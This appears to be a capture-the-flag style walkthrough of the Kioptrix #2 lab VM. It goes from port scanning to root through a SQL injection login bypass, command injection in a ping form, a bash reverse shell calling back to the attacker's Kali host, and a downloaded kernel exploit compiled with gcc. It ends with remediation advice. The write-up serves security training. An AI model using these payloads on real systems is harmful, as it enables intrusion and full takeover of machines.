Kioptrix 1.2 (#2)
Kioptrix #2 is a little more advanced than the first. It’s the second in a series of four. There are new techniques to explore and easy things to miss if you aren’t looking.
As always, we start by loading in our machine to Virtualbox then starting and configuring it.
Next, we start up Kali and see what our IP is and our network so we can start the hunt for the Vulnerable machine.
We can see I’m on 10.0.0.4 and part of the 10.0.0.0/24 subnet. When we scan that network there are only 2 hosts. 10.0.0.14 must be our vulnerable machine. There are a good number of ports listed here, but let’s do a full scan first.
This box has a lot open. From top to bottom:
- 22 — SSH is open, normally I would skip this but it looks like the version is pretty old. It might be worth looking into.
- 80 — HTTP is open, There is an apache server running CentOS which is very good to note. It also looks significantly outdated — I think current version is around 2.4 or so.
- 111 — I am not terribly familiar with this port. Cursory glance is that it might be similar to port 135 on Microsoft devices. It’s used for mapping ports and definitely shouldn’t be exposed to the internet. Likely a vulnerability here as well.
- 443 — HTTPS/SSL service is running with an expired certificate. Could be something here that would lead to a man-in-the-middle attack, but I don’t think we’ll be using this port today.
- 631 — IPP is not something I’ve heard of. It could be a relay or redirect service since it mentions vulnerable HTTP method PUT.
- 737 — I don’t think this is a defined port and there’s not enough detail to know what exactly the services happening here are. This is the least likely to be a vulnerability.
- 3306 — MySQL services are up so we might be able to find some SQL injections. No anonymous access is available though, so maybe we’ll look for a password in a database file.
Since HTTP is open and this seems like a web based application, lets start with what’s being hosted on 80.
We’ve got some kind of site that’s asking for a username and password. No details in the source. My first thought when seeing this is to try SQL injection. I tried 1' or ‘1’=’1 for the username and password and was immediately pushed to the next screen.
This seems like an app designed to ping machines on the network. I pinged my kali VM and got a valid response. The output looks shockingly similar to what the terminal command for ping looks like. The command seems to be executing a ‘ping -c 3 xxx’. Below are the comparison to the app and the ping command.
Knowing that it’s executing a system command is very useful. This is a simple bash command we can attempt to exploit. To start a new command in bash, we can use the character ‘;’. If this field is not parsed correctly it would also execute everything after the semi-colon. To test this concept, I attempt to see if it will run the ls (directory list) command after the ping:
This means there is no cleansing on the inputs and we can execute commands as a user. We can set up a reverse shell this way. I found the code for a bash reverse shell bash -i >& /dev/tcp/10.0.0.4/4444 0>&1 and added it behind a semi-colon. Before I hit submit I started a listener on 4444. Once I hit submit my shell was created and got a functional bash shell as the Apache user.
When I gain a foothold, I typically see what sudo access the user has (sudo -l). In this case there was no sudo access. I then navigated to the home directory and found two user folders John and Harold. Neither folder was accessible by Apache. Despite this, I kept looking and found that I have access to wget and write access to the tmp directory. We can get a privesc checker loaded in and see more details.
I tried Linux Smart Enumeration and unfortunately did not come up with any significant priv-esc vectors. I also tried linpease and linuxprivchecker.py. Neither showed anything terribly useful. I did notice that all three pointed to the software available in /bin/ which includes gcc (as well as wget and others). GCC is used to compile C and C++ programs and can be used in kernel exploits — if this is available to users at low levels it can almost always be used for privilege escalation.
I did some digging using the uname command to see what system information is available.
We know this is a CentOS distro, the kernel version is now confirmed to be 2.6.9–55. I searched for this and found the exploit in the exploit db. This is an exploit that should work for this machine. The vulnerability is an issue involving the udp_sendmsg function and can potentially cause an unintentional denial of service. You can see on line 96 of the exploit that MSG_MORE is called.
This exploit is written in C so we download the C file, 9542.c. I used wget again to move it over to the vulnerable machine and used gcc to compile. To compile it, type gcc -o 9542 9542.c. Then ./9542 to run it. You can also do both on the same line by adding && in between.
After running successfully you will be met with a prompt to to check your user ID. Upon doing so, you will see that we are now root and have full access to the entire machine so our job here is done.
This could have been avoided by updating our OS. Also, by removing access to gcc to all users that don’t need it (why would the Apache user need to compile C or C++?) we could have eliminated a very easy path to exploiting this box. Proper sanitizing on the front end forms would have prevented the SQL injection bypass AND the reverse shell. The pingit.php program should change how the output is displayed and also should not make direct calls to system commands.
